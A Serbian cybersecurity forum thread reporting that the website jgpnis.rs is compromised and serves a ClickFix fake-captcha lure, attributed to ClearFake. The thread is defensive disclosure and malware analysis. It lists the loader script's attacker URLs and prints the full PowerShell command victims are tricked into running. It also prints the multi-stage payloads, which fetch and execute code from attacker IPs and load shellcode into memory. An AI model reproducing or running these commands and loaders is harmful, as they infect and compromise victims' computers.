Login

***milos_rs*** · 03-27-2026, 01:22 AM

Kada se na jgpnis.rs ode sa Windows desktopa dobije se lažni captcha ekran koji govori da treba da se odrade neke komande na tastaturi :

Ovaj napad je poznat kao ClickFix i ako se odrade komande sa ekrana pokrenuće malware na računaru, najčešće neki kradljivac podataka - infostealer.

Na vrhu index fajla vidljiva je skripta koja učitava spoljnu skriptu :

Pitam ChatGPT šta radi ova skripta:

Quote:Šta radi kod (sažeto):

Proverava da li je već pokrenut

Code:
window.__performance_optimizer_v6

Ne izvršava se ako postoji WordPress login cookie

Code:
wordpress_logged_in_

Pokušava da preuzme i izvrši udaljeni JavaScript sa više fallback URL-ova

URL-ovi su base64 enkodovani i iseckani, pa se spajaju

Dodaje

Code:
Math.random()
na kraj (cache-busting)

Ako prvi URL ne radi → pokušava sledeći

Code:
e(a+1)

Ako uspe → ubacuje odgovor kao

Code:
<script>
u

Code:
<head>

To je tipičan loader / potencijalno maliciozni dropper.

Rezultujući URL-ovi:

Code:
https://newtdsone.shoc/jsrepo?rnd=
+ random

Code:
https://cptoptious.com/jsrepo?rnd=
+ random

Code:
https://captioto.com/jsrepo?rnd=
+ random

Pri testiranju pokušao je da otvori sledeće linkove koji serviraju lažni captcha ekran :

Code:
cptoptious .com/jsrepo?rnd=0.24328985396231184
captioto .com/jsrepo?rnd=0.001050420463776791

Oba domena imaju solidno prepoznavanje na VT:

Skripta koja pokazuje ClickFix mamac je identifikovana kao ClearFake

Quote:ClearFake is a malicious JavaScript framework deployed on compromised websites to deliver further malware using the drive-by download technique. The malware leverages social engineering to trick the user into running a fake web browser update.

Da podsetim, ovo nije prvi put da ovaj sajt ima probleme: jgpnis.rs - sajt zloupotrebljen za SEO spam

***milos_rs*** · 03-27-2026, 02:03 PM

Kako neki dobri ljudi na ovoj reddit objavi dodaju...

Quote:JS loader koji dalje preuzima prvi payload koji pokreće novi skriven proces da bi skinuo sledeći payload. Na kraju lanca je shellcode koji se učitava u ram memoriju direktno, najverovatnije trojan.

komanda koja se pokreće ako se prate uputstva lažne captcha stranice:

Code:
powershell -c iex(irm 158.94.208.86 -UseBasicParsing)

tok multi-stage payloada posle pokretanja komande :

Code:
#################
irm 158.94.208.86 -UseBasicParsing | Out-File C:\payload.txt 
################
payload.txt
################

try {
    $gqYZXDiBGhTfKwphTi = @'
try {
    $checkResult = Invoke-WebRequest -Uri "http://158.94.208.92" -UseBasicParsing
    Invoke-Expression $checkResult.Content
} catch {
}
'@

    $mKCDbxSKbDmjETIX = New-Object System.Diagnostics.ProcessStartInfo
    $mKCDbxSKbDmjETIX.FileName = "powershell.exe"
    $mKCDbxSKbDmjETIX.Arguments = "-Command " + [char]34 + $gqYZXDiBGhTfKwphTi + [char]34
    $mKCDbxSKbDmjETIX.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
    $mKCDbxSKbDmjETIX.CreateNoWindow = $true
    $mKCDbxSKbDmjETIX.UseShellExecute = $false

    $eOAlFVnc = New-Object System.Diagnostics.Process
    $eOAlFVnc.StartInfo = $mKCDbxSKbDmjETIX
    $eOAlFVnc.Start() | Out-Null
} catch {
}
#################
irm http://158.94.208.92 -UseBasicParsing | Out-File C:\payload2.txt
################
payload2.txt
################

$roTrgIDa = "http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin"
try {
    $DAcSzuxqmlnU = Invoke-WebRequest -Uri $roTrgIDa -UseBasicParsing -ErrorAction Stop
    $ANRnawIsSKfqrkM = $DAcSzuxqmlnU.Content
    $GgwYqLZlUIchW = $ANRnawIsSKfqrkM.Length
    $DPbwlXV = @"
using System;
using System.Runtime.InteropServices;
public class GmsrHdgXkp {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint WaitForSingleObject(IntPtr h, uint ms);
}
"@
    Add-Type -TypeDefinition $DPbwlXV
    $nBAhESSXiJFkeijbP = 0x1000
    $speQGmUrD = 0x2000
    $grQJiBxOuaAxXtOqp = 0x40
    $rhoRaVojBEIL = [GmsrHdgXkp]::VirtualAlloc([IntPtr]::Zero, $GgwYqLZlUIchW, $nBAhESSXiJFkeijbP -bor $speQGmUrD, $grQJiBxOuaAxXtOqp)
    if ($rhoRaVojBEIL -eq [IntPtr]::Zero) { throw "Alloc failed" }
    [System.Runtime.InteropServices.Marshal]::Copy($ANRnawIsSKfqrkM, 0, $rhoRaVojBEIL, $GgwYqLZlUIchW)
    $rlGgKqWEPvKUY = 0
    $exBMrhRNi = [GmsrHdgXkp]::CreateThread([IntPtr]::Zero, 0, $rhoRaVojBEIL, [IntPtr]::Zero, 0, [ref]$rlGgKqWEPvKUY)
    if ($exBMrhRNi -eq [IntPtr]::Zero) { throw "Thread failed" }
    [GmsrHdgXkp]::WaitForSingleObject($exBMrhRNi, 30000) | Out-Null
    Write-Host "done."
}
catch {
    exit 1
}

malver je https://www.virustotal.com/gui/file/c929...4a7ccf1a1/

IOC IP adrese:

Code:
94.208.86
94.208.92
94.208.104

Dobrodošli na Bezbedan Balkan!

Prelistajte naše podforume i teme o sajber bezbednosti, a ako želite da doprinesete pročitajte "O Forumu" za informacije o registraciji

jgpnis.rs - sajt kompromitovan, pokazuje lažni captcha - clickfix napad

Login


Remember me
Lost Password?